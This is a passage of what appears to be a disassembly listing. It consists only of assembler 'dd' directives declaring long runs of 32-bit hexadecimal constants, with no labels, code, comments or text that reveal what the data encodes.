		dd 0ED7E01B0h, 0AF8D3213h, 0F56424F7h, 0EE24C01Ah, 0C1566318h
		dd 84218E0h, 0CA884048h, 0D16601CCh, 2A464E5Ah,	42C45F3h
		dd 0A5E2824h, 0E660C29h
		dd 600C8E88h, 0C6ED31D4h, 59D8D1CCh, 8AEE14A0h,	0E36C6081h
		dd 48A50164h, 40BDE899h, 94598512h, 7842D441h, 844BA77Ah
		dd 0F23B9058h, 0A3F91D78h, 8753FC0Eh, 0B328605Ah, 5244864Fh
		dd 0E89319D2h, 0C0AD2861h, 2E707F94h, 0CB3CB28h, 244C2A3Ch
		dd 8180F401h, 116BFAC8h, 0AC00732h, 4240B446h, 0C80E879h
		dd 367A563Dh, 0B509FC92h, 801A04DAh, 7FB9CAB0h,	284A74C6h
		dd 90CFAAEh, 48AF0547h,	0E4C814A2h, 0EE795880h,	0F953D095h
		dd 22A4A264h, 0F061560Bh, 88C5422h, 0B84802BCh,	93853710h
		dd 3C5C913Eh, 190AC7DDh, 0F8CA2F60h, 41954661h,	5C20B461h
		dd 48908419h, 408C1445h, 0E8C14BF3h, 8C630E29h,	0E4463791h
		dd 0A8025EA7h, 7C64B07Fh, 41CD98C8h, 4188C2B8h,	642C5E48h
		dd 0D3302AF0h, 0FAB1192Eh, 6988A6B7h, 0E08AE097h, 0EDF10864h
		dd 942198A6h, 44D32902h, 0B3E0A116h, 0C2358FCh,	80850222h
		dd 3099D91Ah, 0A14C9F0Ch, 9DE9578Ch, 4BA80462h,	32888353h
		dd 0E894E08Dh, 0A9E3E62Ch, 0CDCD3CF4h, 3A244016h, 4846068h
		dd 288C46C7h, 80148A53h, 0C99A3F5h, 8C17F00Ah, 8BB9A804h
		dd 0B9E20CCFh, 0FAAD0215h, 0A8461118h, 800A4945h, 62992034h
		dd 8CA2E60Ch, 9C470A9Eh, 0A21E11F9h, 0B1241BBDh, 2DF9A02Ah
		dd 0B652020Bh, 4956C13Ah, 0D84D0E14h, 131A7462h, 50BE618Bh
		dd 48A18042h, 4CE44207h, 8B260426h, 32817CE4h, 0F17935DFh
		dd 30AFD89Ah, 81586C92h, 2C4D4CAAh, 0F81A9251h,	3FA8D92h
		dd 1124CECh, 325E9910h,	30A32BB8h, 0F622F404h, 41BC2045h
		dd 0CCC2B329h, 98C80D12h, 2CA5067Ch, 70CD58F6h,	453DD83Eh
		dd 48A0FAD9h, 0F00E449Ch, 60083CA6h, 0F2AF064Fh, 0E83CE828h
		dd 0D5A30AC7h, 0D8A8D23Ch, 18FFE03Ch, 88FB64Dh,	2F0921DCh
		dd 0D51C2108h, 6FE099DEh, 0BF76FCh, 28662B0h, 0F13D4EBh
		dd 254A730Ah, 0F780CC51h, 0CD4F7880h, 10C0048Eh, 903CDE26h
		dd 0C9CB2BACh, 0D5A73401h, 0A26CE002h, 7D854AD8h, 0C5A60068h
		dd 9150A59Bh, 770C0AC8h, 58B5EBEDh, 0BDD21FA3h,	106218E4h
		dd 0B900064Ch, 10FF57B6h, 3AB58DAh, 399EEE77h, 0C988365Ch
		dd 0B60EF0E1h, 0AC54F6h, 857F436Dh, 0B41B0EFBh,	0E1F85657h
		dd 2707ADF6h, 3F14794Ch, 3CFB7BC1h, 303A9820h, 0ADD94AC7h
		dd 6500F181h, 7C35EA1Bh, 0AB4CB0h, 9B52E4E3h, 361CECDFh
		dd 9D5F12C7h, 994FE980h, 6D815CE7h, 4DF3EB02h, 1B42EE9Bh
		dd 0E0E31414h, 30C1E8A2h, 61F0E4A9h, 40E5EBF0h,	521FF44Fh
		dd 5940F3A5h, 0EAB3E19Ah, 0EDDF0C64h, 4E90AA5Ch, 0B2EF9F1Bh
		dd 59E9A018h, 1FE579ADh, 76DDAA5Dh, 51742880h, 56F8F00Eh
		dd 5EE283A9h, 1878FEABh, 31E8EBA2h, 0A9615FF5h,	0F1E9AB59h
		dd 0A4810C4Ch, 9E4D0084h, 0A655E4E1h, 5E50F0EEh, 5314F588h
		dd 7414EAA5h, 0A8F36D03h, 0C03D072Fh, 0C0406E90h, 5701FC49h
		dd 8330510Ah, 70473182h, 9C981D3Bh, 0F4E4C0F1h,	3567AA9h
		dd 805A1E3Ah, 7B801455h, 0E584737h, 0BB778897h,	3D05BC63h
		dd 6EA52E0h, 6B7A0800h,	6F909E75h, 0C071DC58h, 4598A42Ch
		dd 60827B01h, 383629CAh, 39B0058Bh, 0BBB63128h,	0B910F9E8h
		dd 6519848Dh, 4101A1A0h, 38ED18h, 0C89C756Ah, 65433C68h
		dd 0C8310D88h, 31918D3h, 88BFBA2Ch, 0FED6288h, 4015EC6Ah
		dd 7263A120h, 0A0C0FC29h, 0C6870144h, 81AE6A59h, 14A8D252h
		dd 302C481Eh, 9F0E5136h, 82973E2h, 83A21DF1h, 2B3E7F00h
		dd 0A18899E4h, 4118BDD0h, 6532386h, 0EB774403h,	64311833h
		dd 0A784697Eh, 0B8802AFAh, 98C30A39h, 98A48353h, 7439987h
		dd 0DC55BF28h, 0ADF1EB60h, 0C3B231C3h, 37BE6931h, 0F2ED1814h
		dd 58FF2A4Ch, 8D828483h, 0A3704820h, 611890ADh,	9F8B936h
		dd 86B62137h, 7DE0D230h, 4C385418h, 3558A904h, 4F5E843h
		dd 51BBB191h, 392886A1h, 0F183FF8h, 1D31019Fh, 0A48252FEh
		dd 744D4BB2h, 9807B8B1h, 10C3210Bh, 86F4B884h, 32A07123h
		dd 5C11CD50h, 10D8E20Ah, 0E2877C34h, 4214AC01h,	430C3EDEh
		dd 0A849DF1h, 0D33AE421h, 95F9E150h, 14F2210Ah,	0A5F828BCh
		dd 0FF88A242h, 106A9444h, 0AA19C51h, 356C12E4h,	0C298B908h
		dd 5C648365h, 6E086C91h, 22B5933Fh, 0A32F6960h,	237A3E2h
		dd 6B5AC021h, 8C643607h, 263B02F9h, 350609EEh, 4C229906h
		dd 15EC4490h, 78C2FF33h, 3E08C474h, 91454081h, 1190096Fh
		dd 576E1441h, 85B9C44Ch, 980A98CCh, 0D18C64F4h,	0D338C83Ah
		dd 870648AEh, 89B9FA4Ah, 74A73811h, 42E8EBA4h, 0DC468C65h
		dd 41C3A886h, 783A3F96h, 93F57121h, 43848A4h, 0C8D34A07h
		dd 2B036FDCh, 0D70C9CBDh, 7886DD86h, 363C44E0h,	59F3113h
		dd 0D3D92004h, 71FD0C8h, 2FD68BEBh, 0B24BC07Ah,	6B0CE1C1h
		dd 68EFC3F6h, 26A8B8DCh, 1347F5Bh, 9736A58Bh, 44C03047h
		dd 0EB2837EAh, 8A0CD805h, 28A3BB87h, 0AAC06C0h,	10A4F3A7h
		dd 986AB601h, 90BA7124h, 804C8FCEh, 444EBF43h, 0EECB882h
		dd 91FD717h, 0C081C454h, 70F39252h, 6F0084C6h, 19CA47FDh
		dd 1413E670h, 8C9491C3h, 3077FE50h, 0C470A827h,	7501E77Ch
		dd 0EF69FF2Eh, 0F5CC09BEh, 2831250h, 0C13824D5h, 60E92888h
		dd 0E7013BE4h, 0EBA4B9ECh, 0C0F847E1h, 0A3882E85h, 0D09D0038h
		dd 0DB9839A0h, 6A4B7407h, 0AB4072D5h, 8075D6h, 0EC64CBD3h
		dd 4D63B73Eh, 765CA777h, 0A0DF0044h, 74A3A23Ah,	0DBD503D6h
		dd 0DE6A456Bh, 283742A3h, 71E3106Ch, 67A2E03Ah,	0DD9C014Fh
		dd 0DF993BA0h, 0CBA7F864h, 9B0F97F0h, 0F4E74D5h, 984607D2h
		dd 0AB446980h, 0B6AE1AD7h, 435B849h, 7C9202F7h,	0B44067D2h
		dd 3877AED1h, 0C3189F52h, 0B7F25Bh, 476B0610h, 84E9DE68h
		dd 9D46DC00h, 0F8C12125h, 186260AEh, 7DCCFEBEh,	0C2067072h
		dd 0C340A227h, 5FF70048h, 0CA6972A7h, 330E4CA5h, 0E0176390h
		dd 0F944D334h, 98503FEh, 536BD116h, 5DB6C1C8h, 214D4600h
		dd 0EAFDF9B2h, 25500351h, 0DD7EC728h, 69814488h, 0F6039CFEh
		dd 0A713B13Ch, 0F71806A2h, 7090E247h, 0F628FAF8h, 4C0C4037h
		dd 0E940DC4Ah, 9FB4376Ah, 0F9A18608h, 0C1AE090Eh, 0C02B4827h
		dd 0C096DCB4h, 0C01DED23h, 78EF06BFh, 635010C0h, 60DF0EEAh
		dd 4E9968E9h, 7A808CFAh, 3C780B1h, 8171F8CCh, 420E0DBEh
		dd 0F0406F04h, 821ECCh,	0E7634F9Ch, 52DD78D2h, 450AD411h
		dd 0E18C29E3h, 0C2CE8009h, 80B0603Ch, 79100B09h, 50E888A1h
		dd 0C89EC0F8h, 6FCE0305h, 0E45F5B42h, 22F54D00h, 7A767932h
		dd 669A0C4Eh, 4089414Ah, 92C148A1h, 28720C48h, 79644584h
		dd 76098314h, 0E03BFCA2h, 0FEEF34h, 7DB73962h, 0A19AA337h
		dd 0D675DB00h, 4971D299h, 0F06FF698h, 78B3A8h, 7364A694h
		dd 54B09C3Bh, 80006AF8h, 0D769A592h, 2A74A71h, 3FE3CF96h
		dd 4493C160h, 3035C0EDh, 4514776Bh, 0C7046AC2h,	0C115975Eh
		dd 80F1064h, 0A195A4B1h, 74984322h, 8A487B8h, 0EA43427Ch
		dd 0B5403E7Ch, 0A0C17014h, 481C2BCh, 99F4E852h,	84DC610h
		dd 154C28C2h, 98B33028h, 528C593Ah, 91828810h, 46323CEEh
		dd 417C0846h, 47001D0h,	0C47403B9h, 45B09CDBh, 0CA4A904h
		dd 8CA0BF2Bh, 0B81C5020h, 28B5A185h, 22B4A423h,	0EA44B509h
		dd 12E889EBh, 48EE24E9h, 22EC91EFh, 0E3E244EDh,	0E112E089h
		dd 0E748E624h, 0E522E491h, 7C00DA7Ch, 0B577A699h, 63B19894h
		dd 0C543C180h, 8441B829h
		dd 42EE965h, 8A472B2h, 0A93CC06Ch, 0B607C99Dh, 0A6C342DEh
		dd 67C07DC7h, 5D434Bh, 0C6446489h, 7B9D9CB7h, 427DCEE8h
		dd 4BA3EBF1h, 40C6BEE3h, 405BD640h, 58804765h, 4447189h
		dd 0D34AB76Dh, 0BF48A6A9h, 0FA043FF4h, 9895C4ACh, 490AC88h
		dd 96B07CA4h, 0C90A5F9Eh, 8F553843h, 7AC467CEh,	769340B4h
		dd 0C8927845h, 18A09109h, 57FD0485h, 6E8C170h, 0CC4BC8D2h
		dd 0A4190245h, 51214A6Bh, 0C03895C2h, 9108F6B5h, 0C81FF5E0h
		dd 0D60CCCC5h, 20183Fh,	3D30466Ah, 0BEDA7743h, 39C17E33h
		dd 0FB71E04Dh, 84290AC9h, 4528C564h, 0E470EA78h, 6185AA62h
		dd 3A5B7982h, 83309FE6h, 90C1B31Ch, 0AE9258AFh,	0B87DE0h
		dd 0DF99A1C0h, 0B788A56Eh, 0AB406301h, 8B4467DDh, 0A7D085C9h
		dd 4B7403A3h, 3872DF79h, 7767A1B8h, 38B1493Eh, 95D08197h
		dd 6BCE984Bh, 3A83A6D4h, 7F7CA9C0h, 0DAD5188Eh,	75CB4076h
		dd 0D7A73A03h, 0EDA4408Bh, 0D2A64020h, 0A94F3C76h, 85B6830Fh
		dd 0D64B6C81h, 82304DDEh, 0D19D4298h, 881C9867h, 0A09B2097h
		dd 72814A00h, 71D1D640h, 8560A642h, 7E9C59ECh, 3AB5A488h
		dd 7B0A5B84h, 0CB184A45h, 3E60A4F6h, 15AE9094h,	2CD0D345h
		dd 0DF9841C2h, 9199C481h, 0A8ADF0B2h, 3892AE2Bh, 33D491Fh
		dd 6CBDAD80h, 0A5A3BB41h, 401C1429h, 0AD9200C0h, 9DA99C96h
		dd 977462D5h, 0F871A82Ah, 0D2456E04h, 9CCAB48Dh, 0AB78C0BAh
		dd 7869A95h, 7CA192B7h,	988BC0B0h, 3F0275A8h, 4367D099h
		dd 4A464159h, 31DBF1h, 50E3D1D1h, 49453228h, 0D50098AEh
		dd 957879D4h, 0A3FC64A8h, 99F0419Fh, 4A2802E3h,	9892759Fh
		dd 6CA02066h, 720EA0ADh, 9ADED44Fh, 8574B050h, 91966B57h
		dd 805D1C17h, 0D6AA75B5h, 63E6416Eh, 0A6469809h, 989655A3h
		dd 0A5B058ABh, 383A6BD2h, 13AE3FA7h, 0D012D879h, 3ACF40Fh
		dd 126DA39Eh, 77D140h, 4E75648Eh, 0A00ED0ABh, 9ACF9D3Fh
		dd 0EC8C8010h, 7364A33Eh, 6BD61643h, 63700045h,	0A9D29D3Ah
		dd 0D4486AF0h, 0DB9F0CA0h, 62D01074h, 6BDE6068h, 5804AC43h
		dd 67D7A33Ah, 40D8C6AAh, 71CB6A0Eh, 0C8779F3Bh,	5589DD87h
		dd 7E60D4ADh, 0A08994C9h, 9F55D1A3h, 0F8A97FD0h, 0A7467241h
		dd 0D476A0E1h, 3E769601h, 636564A6h, 75C3C60h, 0DFA09790h
		dd 0D1D74521h, 0B84AB827h, 0C7DBF3B0h, 848F57A9h, 0E8009CC9h
		dd 7BA26A40h, 71908EF9h, 72DFE43Ah, 80709CAAh, 0F6D70C9Eh
		dd 0A6A5B50Bh, 0BFC423A1h, 0B482FD6Eh, 26E4CE67h, 0CE0C95A0h
		dd 0CF980236h, 0DCC14A70h, 0D843D267h, 75F828A6h, 92C44B58h
		dd 97A01C07h, 9D0CA219h, 0EFE40AD7h, 64755099h,	0E317CAC0h
		dd 2002D0A2h, 6177D5B2h, 69BEDF10h, 0A81D713Eh,	214517D8h
		dd 4BD19D20h, 7C3C482Ch, 3A7580C1h, 3431D2ABh, 0F880D4CDh
		dd 4371A16Ah, 9BF9CF9Ah, 0F58096B0h, 50811834h,	0C7D7179h
		dd 9C02BBBEh, 91A85B92h, 5C0384D9h, 8C4A78CEh, 98538B38h
		dd 0C89EA218h, 5873AC8h, 0D64067CEh, 80683B43h,	0DC794B95h
		dd 0A63A2C77h, 7A400BD8h, 0D8A364A0h, 0A7554967h, 0D1F86C18h
		dd 84630050h, 886482A6h, 20985D44h, 0EBDBD412h,	3E68F044h
		dd 0FE9544F0h, 407127DAh, 0D4793C92h, 0DF84B680h, 9BAB74h
		dd 9D446BCEh, 9C4B6FD6h, 8C96D02Eh, 9463DB07h, 779081CBh
		dd 0ABD1BB79h, 50000BF6h, 9E4F68CDh, 674B20CFh,	0A8F072CFh
		dd 9E416BD0h, 0D8A79250h, 0B5314AC8h, 85B16870h, 0DAA0AAEDh
		dd 34D25280h, 730B81ECh, 0EED0AB4Bh, 0F0348550h, 992F416Dh
		dd 0BC90B0DFh, 0A0407463h, 3A8AD6F0h, 86008BB4h, 984172D2h
		dd 4E307A64h, 0CCA621A3h, 0AB441D74h, 0C84F14A1h, 300EA027h
		dd 44E0CC96h, 8010914Eh, 1764C938h, 0C078C710h,	0B0D64463h
		dd 0DA0DE8DFh, 607C2865h, 72BF6909h, 3DC1C08h, 6CDBA239h
		dd 78DF2001h, 65A3983Ah, 6ED599D3h, 0E05DB838h,	94C4C0CAh
		dd 8C428085h, 99A08A13h, 54E12EF8h, 97A6E0EFh, 9988C5D5h
		dd 0ADC1DD1h, 19D08664h, 0E09E40D0h, 9D134283h,	41E6DA1h
		dd 809114h, 5E4B75A3h, 1595D07Ah, 0F074D69Ch, 0DE60A030h
		dd 0DCBE7671h, 1928AE66h, 0E948A0D7h, 9275023Ah, 0C4DC9858h
		dd 0B06096B7h, 5E3F7248h, 9760D4B4h, 906CD499h,	0F44DF344h
		dd 0D2936429h, 204278F0h, 0AA783070h, 984F9707h, 9D5477D0h
		dd 0BA86CF0h, 0A7406BDCh, 94557CBFh, 0A4BE9CC3h, 74DEB480h
		dd 0DCAB4C39h, 0DBB49200h, 0F94A4B6Eh, 0C2E10412h, 0FDEE4F4h
		dd 0F493C743h, 0E9E06BE9h, 5B30A9E9h, 0B7CB51CCh, 9AB4002Ah
		dd 0D61E1571h, 4A00C097h, 0F9A3F64Eh, 4B0E3516h, 71F0BC33h
		dd 0C8EF7700h, 70D11706h, 3AC1007Dh, 6D95B473h,	0BF360C0Ah
		dd 207058EAh, 0BE009AABh, 6F0D38E6h, 1AC27Dh, 0F345ACB1h
		dd 0E9DE6536h, 0D9D04905h, 203C78A6h, 60E4629h,	8FEB5B4Dh
		dd 0F75A0D20h, 8390ECA7h, 3BDEB3B8h, 4DAAC978h,	0A87422E0h
		dd 0EAA988h, 6D42A114h,	172A1AFBh, 48336805h, 47C1CB8Dh
		dd 0B450E850h, 60E70F6Dh, 3FC1F8DAh, 69027127h,	7AD6B6CAh
		dd 0D5609946h, 0FE82F903h, 0B815D893h, 0A27C0C9Ah, 40F028D3h
		dd 1B41534Fh, 1BCD097h,	0C29E9D30h, 83E8B70Eh, 0F9F1D2E0h
		dd 0CAE181F8h, 0C3D901E3h, 152B4F0Ah, 7BC440D5h, 0B1D0AB48h
		dd 8639ACE0h, 0BE234484h, 101C231Ah, 2B78433Bh,	3380D41Bh
		dd 93449FA6h, 294561CEh, 0EC05AB69h, 0A407B7C2h, 0A57FCAEAh
		dd 216F46h, 1005B38Ah, 812382BCh, 4D01FFE0h, 4303C118h
		dd 0BFE8C92Fh, 6C21AD4h, 0FC029153h, 5476FE3Ch,	1F995BDh
		dd 8DF5ECDCh, 301C1862h, 0DE1D32C9h, 0FB0CCB48h, 194BC00Dh
		dd 486096F3h, 2E3AE0C0h, 0B6408512h, 0CBE33804h, 0FA7117Fh
		dd 506D6680h, 2303D20Ah, 6CD1DC7Ah, 3C310C41h, 66C1C7FFh
		dd 81B3709h, 0FB04008Ch, 0DD612747h, 68A89880h,	325014E1h
		dd 6844FA84h, 30CB48CFh, 4A12F11h, 0B179DF74h, 3411BC80h
		dd 501083C9h, 63005F97h, 0D32D0BEFh, 15184544h,	1BF0B19Dh
		dd 6CD5886Dh, 20A59129h, 30281CE2h, 91401DEh, 685C73h
		dd 0A7B9DD20h, 14CA0A59h, 0B89FCB2Ah, 0DBFB4B1Dh, 9BDC073h
		dd 2003D280h, 0EAB16F96h, 0DCC881B4h, 0EB929150h, 0C8FCA043h
		dd 0D0679337h, 3104E880h, 0BFBBC9BCh, 0F044C088h, 62AB1C68h
		dd 0D30F8676h, 0C21F1888h, 99D2A027h, 5A58060h,	87C7FC91h
		dd 5AD8400h, 0EE06BF41h, 3CAEFE86h, 6930534Bh, 12C3A3B8h
		dd 0FACE4F0Eh, 98412C47h, 1F173F6Fh, 0C53EC067h, 99A849EBh
		dd 6190C004h, 2C3105ACh, 444078A2h, 0B4008973h,	0D581B805h
		dd 77E868h, 376C5040h, 4D66E7C4h, 0D49F0E18h, 3FFF67E0h
		dd 0FC141939h, 0D2C488BEh, 304C896Bh, 0B1050A24h, 434F40FAh
		dd 3DB8E450h, 1AFBC0BEh, 183EF33Fh, 18B4CC5Fh, 4940CE61h
		dd 3400782Ah, 141166Ch,	0B6A807Bh, 91F76B4Eh, 0A3AB0400h
		dd 99008E68h, 0B3963CF4h, 29F9AB2h, 34E5C612h, 0E65FA346h
		dd 0F65225A0h, 0B7464CFEh, 78D260C0h, 6F9F4FF9h, 74B818D8h
		dd 31C0B146h, 0D686B8h,	0A035D1B3h, 3175B274h, 0BF11B752h
		dd 26302304h, 0C980048Dh, 0DD5BA215h, 0F933061Ch, 69720F3Fh
		dd 0B98F197h, 44314375h, 0EE5FFEFFh, 22A616A4h,	0FD004078h
		dd 65312161h, 0C41E9E7Fh, 0D604D297h, 4097C1A9h, 5A7C098h
		dd 0D743C293h, 5AF8680h, 1C001B65h, 0E6A9A19Ch,	18C3274Dh
		dd 0D08B470Eh, 0F3286B4Ch
		dd 9F52A471h, 3074B230h, 0AD2B23F0h, 0BE06F8DBh, 0F9E2E8h
		dd 0D31A54B0h, 0D8329AD1h, 4E15E10Eh, 0E8FC9761h, 204B7585h
		dd 0DCB297CCh, 2BE8D400h, 46FBAB0Ah, 4CA0C976h,	0E5EC5818h
		dd 641431C7h, 0A0CF7AC3h, 4C993341h, 0D53A4C8Fh, 14692C85h
		dd 0E1B86092h, 468A71C8h, 105A0734h, 30882004h,	0DC3F06C3h
		dd 0B59C68C0h, 0C1DF530Eh, 0CE1045D8h, 4AB60037h, 318D0076h
		dd 61A78B5Ch, 49B87C62h, 0CBEFFE1Eh, 98074952h,	0BF93C29Ch
		dd 61502A83h, 0B1D90020h, 1029D295h, 70708A23h,	46483D00h
		dd 6AE62131h, 7F573E93h, 629CB860h, 0D66513E7h,	0B8606448h
		dd 616BD1BDh, 5A35946h,	22F9407Ah, 0BF3AE137h, 655712FAh
		dd 0F8FB5028h, 0E6309A73h, 0D30624F7h, 33375050h, 0A902B80Ah
		dd 4C02803Ah, 0E8E8B24Ah, 0D6C0F0h, 6F9A01AFh, 37C560B6h
		dd 0DE088666h, 77740021h, 5F96FC01h, 6C0CEFADh,	68CFC6C7h
		dd 0C0CD545Ch, 557B00AEh, 0F5A06024h, 311ECAD0h, 8F02A26Eh
		dd 2ABDEF6h, 10409DB3h,	6F265F93h, 0BD50345Ch, 5B63134Dh
		dd 0A1240099h, 0C9263851h, 0A5C0D909h, 4CA07F21h, 0B0F59E64h
		dd 8A9CFB03h, 4B84C345h, 7C4F908h, 12F59681h, 23181BDBh
		dd 0AE09AFF8h, 9E2F8501h, 21DB7C22h, 0C001B6ABh, 0A404A9A7h
		dd 70A2FB4Dh, 80E6485h,	6403B057h, 0CA96BF6Dh, 4FA3C002h
		dd 893E6Bh, 0D703074Ah,	130F40B1h, 45A7E544h, 9437A483h
		dd 0EEC2960Fh, 0E46BE3AFh, 22A80BE0h, 8C8C9759h, 8CB4C07Ah
		dd 9801B104h, 0D962866Fh, 1797620h, 0A9AA00C4h,	0E94FF8C7h
		dd 0C525591Bh, 110417A0h, 85B8774h, 0F6CE3E0h, 0A8B2491Fh
		dd 4223370Ch, 3C12A4C8h, 74021205h, 58B4F0Fh, 22883250h
		dd 367AD090h, 0CC2DDF00h, 0A4E5250Ch, 0D7185831h, 0C2166000h
		dd 0E2E1064Dh, 4810441Ch, 84BDA589h, 0DA42D6F8h, 84C98C0h
		dd 36F59F26h, 8627412h,	0BE2469h, 0AF2F87CFh, 0A904097Ah
		dd 2490227Bh, 0F00864Dh, 0CBD0A166h, 0D26710h, 244F8915h
		dd 28B7FB5Dh, 0EA12E702h, 0CCAB17ADh, 3CA90BECh, 1002080Dh
		dd 0DC00A18Bh, 1262BDF6h, 30B6FBFDh, 0BF4DDED8h, 4C0258BBh
		dd 68611B5Bh, 124D3390h, 216552F3h, 8D2B34h, 54FA6D67h
		dd 0D753C3Dh, 89EFF6C2h, 84E23A20h, 0DFA27453h,	1FF9B430h
		dd 2E6E4EA9h, 600E1314h, 81480B34h, 0E8ACDC7Fh,	0EF06C009h
		dd 237010EBh, 32A8A877h, 0FD7F7Bh, 16424BDDh, 872772A7h
		dd 0F166A107h, 6BC2DA7Fh, 52C7037h, 67B5E212h, 0ABAC608Eh
		dd 972AE6C2h, 0F3109487h, 0A1006A32h, 0BC446BDBh, 4B333FFAh
		dd 0CCCF3096h, 93265890h, 1F6C2890h, 0BF34B192h, 8CDBF609h
		dd 3C7D4C14h, 3E44C740h, 99178C3Bh, 0E381665h, 8313FECh
		dd 28D4A6C7h, 2994640h,	0FBACF562h, 106D317Ch, 9F599BDh
		dd 0A5A2A68Dh, 0EF85EC30h, 0CD56BE13h, 9ED6A848h, 0BF1BC0C3h
		dd 0EFDE47F9h, 6BA8AB00h, 687A9E57h, 80D806B9h,	31CE5B19h
		dd 90A7D207h, 0D40F678h, 276312h, 4A68A5B0h, 0CF39521Eh
		dd 0DD9050E5h, 8800EC2Dh, 6F12BC45h, 32EF6Bh, 86CD0856h
		dd 0AFFF6096h, 22D48E59h, 0A88400E4h, 5C2AA0BEh, 0EE00B020h
		dd 54B5B174h, 0F61981A7h, 49B899ABh, 0D8115817h, 0F9A90D8Eh
		dd 480A0846h, 0C8503B13h, 0A6110426h, 2B7DAC90h, 11BC84FBh
		dd 901D7B67h, 0F8406FF5h, 0D16D79CCh, 6AE0CCFh,	5E79E7E8h
		dd 3E728A1Ch, 0BF85E6C0h, 83CD59h, 0D815C135h, 42BEE1A6h
		dd 9B4871C0h, 0B21F0E8Dh, 4AE49068h, 6FA4122Fh,	7E9C02D0h
		dd 77077B56h, 88003464h, 87D9E1C3h, 0B4E75D0h, 0F676B9E5h
		dd 6095F084h, 239D05A9h, 7611A7C2h, 5B18800h, 607BAAC3h
		dd 8BAE37Ch, 12403038h,	0A8CDCBF6h, 6439E861h, 0B5FFB06h
		dd 8F5C184Ah, 2CA52EA0h, 2F83650h, 3D27C1EEh, 4448C6FDh
		dd 0F25AF3CDh, 9C5D0816h, 134100A0h, 953FC476h,	0CA246652h
		dd 6011BCB6h, 1081FB39h, 0C7634C40h, 20D0E1BEh,	70041A83h
		dd 0A68C5C0Ch, 0D19738C1h, 0A3B76B00h, 0D519C309h, 6DC8075Eh
		dd 258F080Ch, 20819ABEh, 0C6735745h, 54011872h,	0FEC33C6Fh
		dd 4E018D17h, 4468E25Bh, 0C117459Fh, 404236F8h,	5A4A7579h
		dd 0BE850800h, 0AA01D92Ah, 958758C1h, 0A5772883h, 903FF64Dh
		dd 0C04B1302h, 0DB211CDFh, 0BC7CFA8Ah, 63209820h, 5350098Ch
		dd 0FCED1912h, 20437591h, 601BE584h, 409FEEC0h,	621CFCD6h
		dd 1344050Ah, 98EFB506h, 3E0AA4F0h, 0ACE17D66h,	20E2C70Bh
		dd 0F768A3BCh, 553B0154h, 193C0337h, 0FC4CEA4Ch, 0FD0FF8F9h
		dd 30392825h, 92320CDCh, 0C8C42218h, 10A0925Ch,	0A501AB1Eh
		dd 9EEF6F90h, 93822A9h,	24664F68h, 0B260B3B0h, 6F259B01h
		dd 5C167Eh, 0B0017A77h,	5B62D59Eh, 0A62258C4h, 67107014h
		dd 4A290942h, 0A4F021F0h, 4180EFEBh, 0C6BD24F2h, 7500873Bh
		dd 9AD996DEh, 50A35B4Bh, 0EAAAFC40h, 3FCF2498h,	72C680B8h
		dd 0CDEB58A6h, 0F069F40Eh, 9788CEC2h, 1763F001h, 6C20FFFEh
		dd 53CB0AB2h, 3BB86C07h, 0F213C380h, 9891AA51h,	0E43BD4A0h
		dd 9820ACB1h, 60EBD244h, 9BACA1E0h, 3C00B11Ah, 0A93D5192h
		dd 5C4B5346h, 7630BAh, 0F87D6BB3h, 0C63FD26Ah, 8C64E172h
		dd 0A4CBDAE9h, 80CF6BC8h, 203EDA14h, 2054B8A4h,	43E6202h
		dd 70B033FFh, 43A901C4h, 79EF4511h, 0A35C20D6h,	0AB88C884h
		dd 11E4176Bh, 0B7CB816Eh, 90EB4811h, 90E4C341h,	4BDC10B8h
		dd 0FF3C0D66h, 0D80189A9h, 0A8B15FEBh, 8813F88h, 596F6FC5h
		dd 51803AE0h, 0E34B473Ch, 0C041D818h, 0F0E17D5h, 4CE040ACh
		dd 0F706C31Dh, 2AD08941h, 5D757245h, 8F09403Bh,	0C46286C6h
		dd 486AD8C9h, 0D099CE28h, 0E0FDDF03h, 8A4A031h,	834500B8h
		dd 6D535BFCh, 55FE021Ch, 62EB8E03h, 4804BE7h, 0F369C70h
		dd 1490D7D4h, 51DC86D1h, 11124090h, 5098888Fh, 0D45A304Dh
		dd 7505C881h, 43B5B00Fh, 84BDBE9Fh, 8AE91C38h, 4E372280h
		dd 0E4A809C4h, 0F90EA0CAh, 70FD0827h, 0F5E2C8Bh, 80856600h
		dd 388DBFAEh, 0CF36E8AFh, 0FC04721h, 41639446h,	0C710300Eh
		dd 363320A9h, 3A778B75h, 0C00D015h, 0CB66AAFDh,	706555Dh
		dd 7F4DF928h, 21E16008h, 0AFCB6E93h, 0E46D971Fh, 0FC18607Bh
		dd 7C3B469Bh, 0E1E6A2h,	0BCF42D1Dh, 0DE3827A7h,	3D837A00h
		dd 446A3464h, 0D4220004h, 51B07274h, 10C053B7h,	0D5A3898Ch
		dd 0FE0700B2h, 0CBE60C1Ah, 5B58A76Eh, 808C30AFh, 0A43D8B74h
		dd 11CBF258h, 88775563h, 7C8D80E7h, 0F7E8E5CBh,	2EB7D51Ch
		dd 69B053C7h, 3B7835C6h, 55801442h, 0E7577238h,	0EC290FBEh
		dd 0E6798C74h, 2C00D918h, 11C0D610h, 7A5239h, 243E4059h
		dd 0C825BEE8h, 0BCB92128h, 54A39B38h, 0C0009CD0h, 2375D55Ch
		dd 5557DF4h, 80B6AA4Ah,	1AB04736h, 40343562h, 137C669Ch
		dd 0AF071684h, 1F15A951h, 0A7EB0CC0h, 56280CFFh, 0AD99DB14h
		dd 5E0AAE00h, 78D1521Ah, 0B380B1Ch, 0AC805950h,	1A39A7Ah
		dd 0A5C089DDh, 56A0D154h, 32406B2h, 70778630h, 384D1B00h
		dd 7A28B55Eh, 8194A049h, 95B8B7h, 0CEDC362Eh, 43DB6CBDh
		dd 3A510A60h, 6025797h,	1861FE72h, 0B628C037h, 0B4086C8Ch
		dd 1EB859h, 6B30C80Ah, 0FD0C626Ch, 480D0B72h, 930C3721h
		dd 58958608h, 0ACA17DF0h, 0BEEAE41Ah, 0F0603C62h, 8A440022h
		dd 0A6020637h, 0C051F707h, 647E0030h, 0DC03A8B6h, 6841FDC7h
		dd 3818042Ah, 89C8308Ah
		dd 4C68BA3Ch, 86AC447Dh, 1C7CBD00h, 89B025E4h, 0CAE0A063h
		dd 0B65740FBh, 99688B36h, 0F98CA1A8h, 0A91D118Fh, 7EB46EA0h
		dd 7C32085Fh, 0A022088Eh, 0CAA07780h, 0AF3B0F2Ah, 4100D094h
		dd 75C00BE2h, 0CC68AE60h, 0C20409CDh, 0D678FFE8h, 3EDBECA1h
		dd 83B45007h, 5E61B1A7h, 54522D31h, 0DC00D044h,	13F6ED03h
		dd 3EA092C2h, 0A8F44270h, 60FAA370h, 4C0848FCh,	6200062Dh
